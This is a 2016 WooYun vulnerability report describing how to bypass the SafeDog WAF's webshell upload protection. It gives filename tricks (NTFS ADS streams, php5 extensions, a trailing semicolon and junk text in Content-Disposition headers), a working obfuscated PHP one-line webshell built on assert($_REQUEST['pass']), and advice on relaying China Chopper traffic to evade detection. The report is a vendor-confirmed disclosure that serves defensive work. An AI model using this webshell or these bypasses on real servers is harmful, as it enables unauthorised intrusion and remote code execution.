当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171345

漏洞标题:网站安全狗webshell防御功能完全绕过(多种方法/适用于多种语言环境)

相关厂商:安全狗

漏洞作者: izy

提交时间:2016-01-20 17:13

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-21: 厂商已经确认,细节仅向厂商公开
2016-01-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-16: 细节向核心白帽子及相关领域专家公开
2016-03-26: 细节向普通白帽子公开
2016-04-05: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

: )

详细说明:

测试环境:
win2008+php5+mysql5+apache+最新下载安全狗
首先第一种针对windows的绕过:

屏幕快照 2016-01-20 下午1.01.20.png


首先直接上传一个webshell,没有任意修改下肯定被拦截

屏幕快照 2016-01-20 下午1.07.59.png


然后修改webshell内容为1111,还是被拦截,发现这不是重点,重点是文件名为1.php这被检测到了

屏幕快照 2016-01-20 下午1.09.05.png


然后我们对文件名fuzz,发现如果split “.”这个字符如果出现php也会被拦截,例如:1.xxx.php.aaax.da
这次我们上传1.php5发现传上去了,当然这种方法绕过了检测,但并不是所有情况都会解析php5为php脚本

屏幕快照 2016-01-20 下午1.21.09.png


下面一种情况:
因为我们上面发现如果.php后面有字符就可以bypass,例如php5 phpa php: php@这样的
知道了bypass方法,我们再来大概看一下windows的特性NTFS ADS
一个完整的流的格式,如下:<filename>:<stream name>:<stream type>
所以我们可以用<filename>:<stream name>:<stream type> 这样的类型来访问创建文件
首先我们可以创建一个1.asp的文件夹,如果是iis有问题的版本就会对1.asp/xx解析成asp脚本
1.asp::$INDEX_ALLOCATION

屏幕快照 2016-01-20 下午1.32.47.png


屏幕快照 2016-01-20 下午1.30.21.png


也可以直接上传一个shell,使用$DATA流,上传1.php::$DATA,但是发现被拦截了
然后去掉了两边的双引号,发现成功绕过安全狗传上去了

屏幕快照 2016-01-20 下午1.52.19.png


但是直接访问3.php被拦截,如果传上去不能访问也多打意义对吧

屏幕快照 2016-01-20 下午1.53.11.png


在我多次测试后发现,被拦截的都是安全狗webshell查杀功能能查杀的文件,如果我们换成webshell查不出来的呢?那不就bypass了?
换个过狗的一句话传上去

<?php
function aa($shell)
{
assert($shell);
}
aa($_REQUEST['pass']);
?>


成功绕过!!

屏幕快照 2016-01-20 下午1.55.36.png


如果小伙伴们最后测试用菜刀无法连接,但是可以手工访问,那就中转一下,在数据加密的情况下,是无法检测出来的!
所以我们现在可以绕过所有的防御了:
webshell上传 -> webshell访问 ->webshell执行
下面第二种绕过,完全适用于任何系统:
通过上面的测试,猜到你们都是用了正则来检测
然后测试Content-Disposition: form-data; name="userfile"; filename=4.php;
注意4.php;后面有个分号
shell成功传上去了,asp,jsp也不例外

屏幕快照 2016-01-20 下午2.02.45.png


第三种方法,程序与服务器之间的差异:
Content-Disposition: form-data111111; name="userfile"; filename=5.php
form-data这是可以任意插入,服务器容错下是可以上传的,但是安全狗没做这样的容错,所以在使用正则的时候一定要注意这样的情况

屏幕快照 2016-01-20 下午2.04.38.png


最后不为别的,只希望你们越做越好,提升国内安全水平!

漏洞证明:

屏幕快照 2016-01-20 下午2.02.45.png

修复方案:

xxx

版权声明:转载请注明来源 izy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2016-01-21 11:09

厂商回复:

这句话说的很好,最后不为别的,只希望你们越做越好,提升国内安全水平!我们也是这么希望的,非常感谢白帽子!

最新状态:

暂无